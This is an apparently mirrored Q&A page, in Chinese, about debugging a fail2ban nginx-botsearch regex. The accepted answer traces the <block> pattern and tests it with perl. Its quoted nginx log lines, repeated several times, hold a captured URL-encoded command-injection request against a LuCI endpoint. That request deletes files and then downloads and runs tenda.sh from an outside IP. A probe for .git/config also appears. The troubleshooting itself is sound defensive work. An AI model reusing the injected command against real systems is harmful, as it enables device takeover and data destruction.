AskOverflow.Dev

AskOverflow.Dev Logo AskOverflow.Dev Logo

AskOverflow.Dev Navigation

  • 主页
  • 系统&网络
  • Ubuntu
  • Unix
  • DBA
  • Computer
  • Coding
  • LangChain

Mobile menu

Close
  • 主页
  • 系统&网络
    • 最新
    • 热门
    • 标签
  • Ubuntu
    • 最新
    • 热门
    • 标签
  • Unix
    • 最新
    • 标签
  • DBA
    • 最新
    • 标签
  • Computer
    • 最新
    • 标签
  • Coding
    • 最新
    • 标签
主页 / ubuntu / 问题 / 1513307
Accepted
Alessandro Carini
Alessandro Carini
Asked: 2024-05-08 22:15:40 +0800 CST2024-05-08 22:15:40 +0800 CST 2024-05-08 22:15:40 +0800 CST

fail2ban 正则表达式无法匹配 nginx 错误日志

  • 772

在我的fail2ban配置中,过滤器nginx-botsearch.conf(Ubuntu 22.04.4 LTS 附带的过滤器)被激活。

请帮助我调试正则表达式的行为

^ \[error\] \d+#\d+: \*\d+ (\S+ )?\"\S+\" (failed|is not found) \(2\: No such file or directory\), client\: <HOST>\, server\: \S*\, request: \"(GET|POST|HEAD) \/<block> \S+\"\, .*?$

这个正则表达式确实捕获了这些日志行:

2024/05/08 13:00:40 [error] 637#637: *7255 open() "/var/www/html/node01c/cgi-bin/luci/;stok=/locale" failed (2: No such file or directory), client: 80.94.92.60, server: node-c.myhost.com, request: "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(rm%20-rf%20%2A%3B%20cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F94.156.79.129%2Ftenda.sh%3B%20chmod%20777%20tenda.sh%3B%20.%2Ftenda.sh) HTTP/1.1", host: "20.208.129.142"

2024/05/08 13:00:40 [error] 637#637: *7255 open() "/var/www/html/node01c/cgi-bin/luci/;stok=/locale" failed (2: No such file or directory), client: 80.94.92.60, server: node-c.myhost.com, request: "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(rm%20-rf%20%2A%3B%20cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F94.156.79.129%2Ftenda.sh%3B%20chmod%20777%20tenda.sh%3B%20.%2Ftenda.sh) HTTP/1.1", host: "20.208.129.142"

但无法匹配这一行(非常相似):

2024/05/08 11:55:04 [error] 637#637: *7233 open() "/var/www/html/node01c/new/.git/config" failed (2: No such file or directory), client: 31.7.62.226, server: node-c.myhost.com, request: "GET /new/.git/config HTTP/1.1", host: "20.208.129.142"

尝试使用一些在线工具对其进行调试并不能突出任何特定原因。

nginx
  • 1 1 个回答
  • 50 Views

1 个回答

  • Voted
  1. Best Answer
    kos
    2024-05-08T23:17:17+08:002024-05-08T23:17:17+08:00

    好吧,我看了一下/etc/fail2ban/filter.d/nginx-botsearch.conf;它用于/etc/fail2ban/filter.d/botsearch-common.conf将以下<block>模式导入并插入到主正则表达式中:

    \/?(<webmail>|<phpmyadmin>|<wordpress>|cgi-bin|mysqladmin)[^,]*
    

    <webmail>这种模式只允许路径以与,<phpmyadmin>或模式匹配的字符串开头的请求<wordpress>(以及路径以文字字符串cgi-bin和开头的请求mysqladmin)通过;您的示例被丢弃请求的路径与这些条件都不匹配(其路径以 开头new),因此将被丢弃。

    您可以像这样更改<block>模式/etc/fail2ban/filter.d/botsearch-common.conf,以便也允许路径以文字字符串开头的请求new通过:

    \/?(<webmail>|<phpmyadmin>|<wordpress>|cgi-bin|mysqladmin|new)[^,]*
    
    % cat input
     [error] 637#637: *7255 open() "/var/www/html/node01c/cgi-bin/luci/;stok=/locale" failed (2: No such file or directory), client: 80.94.92.60, server: node-c.myhost.com, request: "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(rm%20-rf%20%2A%3B%20cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F94.156.79.129%2Ftenda.sh%3B%20chmod%20777%20tenda.sh%3B%20.%2Ftenda.sh) HTTP/1.1", host: "20.208.129.142"
     [error] 637#637: *7255 open() "/var/www/html/node01c/cgi-bin/luci/;stok=/locale" failed (2: No such file or directory), client: 80.94.92.60, server: node-c.myhost.com, request: "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(rm%20-rf%20%2A%3B%20cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F94.156.79.129%2Ftenda.sh%3B%20chmod%20777%20tenda.sh%3B%20.%2Ftenda.sh) HTTP/1.1", host: "20.208.129.142"
     [error] 637#637: *7233 open() "/var/www/html/node01c/new/.git/config" failed (2: No such file or directory), client: 31.7.62.226, server: node-c.myhost.com, request: "GET /new/.git/config HTTP/1.1", host: "20.208.129.142"
    % perl -ne '/^ \[error\] \d+#\d+: \*\d+ (\S+ )?\"\S+\" (failed|is not found) \(2\: No such file or directory\), client\: \d+\.\d+\.\d+\.\d+\, server\: \S*\, request: \"(GET|POST|HEAD) \/\/?(<webmail>|<phpmyadmin>|<wordpress>|cgi-bin|mysqladmin)[^,]* \S+\"\, .*?$/&&print' input 
     [error] 637#637: *7255 open() "/var/www/html/node01c/cgi-bin/luci/;stok=/locale" failed (2: No such file or directory), client: 80.94.92.60, server: node-c.myhost.com, request: "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(rm%20-rf%20%2A%3B%20cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F94.156.79.129%2Ftenda.sh%3B%20chmod%20777%20tenda.sh%3B%20.%2Ftenda.sh) HTTP/1.1", host: "20.208.129.142"
     [error] 637#637: *7255 open() "/var/www/html/node01c/cgi-bin/luci/;stok=/locale" failed (2: No such file or directory), client: 80.94.92.60, server: node-c.myhost.com, request: "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(rm%20-rf%20%2A%3B%20cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F94.156.79.129%2Ftenda.sh%3B%20chmod%20777%20tenda.sh%3B%20.%2Ftenda.sh) HTTP/1.1", host: "20.208.129.142"
    % perl -ne '/^ \[error\] \d+#\d+: \*\d+ (\S+ )?\"\S+\" (failed|is not found) \(2\: No such file or directory\), client\: \d+\.\d+\.\d+\.\d+\, server\: \S*\, request: \"(GET|POST|HEAD) \/\/?(<webmail>|<phpmyadmin>|<wordpress>|cgi-bin|mysqladmin|new)[^,]* \S+\"\, .*?$/&&print' input
     [error] 637#637: *7255 open() "/var/www/html/node01c/cgi-bin/luci/;stok=/locale" failed (2: No such file or directory), client: 80.94.92.60, server: node-c.myhost.com, request: "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(rm%20-rf%20%2A%3B%20cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F94.156.79.129%2Ftenda.sh%3B%20chmod%20777%20tenda.sh%3B%20.%2Ftenda.sh) HTTP/1.1", host: "20.208.129.142"
     [error] 637#637: *7255 open() "/var/www/html/node01c/cgi-bin/luci/;stok=/locale" failed (2: No such file or directory), client: 80.94.92.60, server: node-c.myhost.com, request: "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(rm%20-rf%20%2A%3B%20cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F94.156.79.129%2Ftenda.sh%3B%20chmod%20777%20tenda.sh%3B%20.%2Ftenda.sh) HTTP/1.1", host: "20.208.129.142"
     [error] 637#637: *7233 open() "/var/www/html/node01c/new/.git/config" failed (2: No such file or directory), client: 31.7.62.226, server: node-c.myhost.com, request: "GET /new/.git/config HTTP/1.1", host: "20.208.129.142"
    
    • 0

相关问题

  • php 不使用 nginx & phpfm 解析

  • 启动时加载守护进程

  • 我应该在 Web 根目录上设置什么文件权限?

  • 如何使用 Nginx、APC 和 PostgreSQL 设置 PHP?

Sidebar

Stats

  • 问题 205573
  • 回答 270741
  • 最佳答案 135370
  • 用户 68524
  • 热门
  • 回答
  • Marko Smith

    如何运行 .sh 脚本?

    • 16 个回答
  • Marko Smith

    如何安装 .tar.gz(或 .tar.bz2)文件?

    • 14 个回答
  • Marko Smith

    如何列出所有已安装的软件包

    • 24 个回答
  • Marko Smith

    无法锁定管理目录 (/var/lib/dpkg/) 是另一个进程在使用它吗?

    • 25 个回答
  • Martin Hope
    Flimm 如何在没有 sudo 的情况下使用 docker? 2014-06-07 00:17:43 +0800 CST
  • Martin Hope
    Ivan 如何列出所有已安装的软件包 2010-12-17 18:08:49 +0800 CST
  • Martin Hope
    La Ode Adam Saputra 无法锁定管理目录 (/var/lib/dpkg/) 是另一个进程在使用它吗? 2010-11-30 18:12:48 +0800 CST
  • Martin Hope
    David Barry 如何从命令行确定目录(文件夹)的总大小? 2010-08-06 10:20:23 +0800 CST
  • Martin Hope
    jfoucher “以下软件包已被保留:”为什么以及如何解决? 2010-08-01 13:59:22 +0800 CST
  • Martin Hope
    David Ashford 如何删除 PPA? 2010-07-30 01:09:42 +0800 CST

热门标签

10.10 10.04 gnome networking server command-line package-management software-recommendation sound xorg

Explore

  • 主页
  • 问题
    • 最新
    • 热门
  • 标签
  • 帮助

Footer

AskOverflow.Dev

关于我们

  • 关于我们
  • 联系我们

Legal Stuff

  • Privacy Policy

Language

  • Pt
  • Server
  • Unix

© 2023 AskOverflow.DEV All Rights Reserve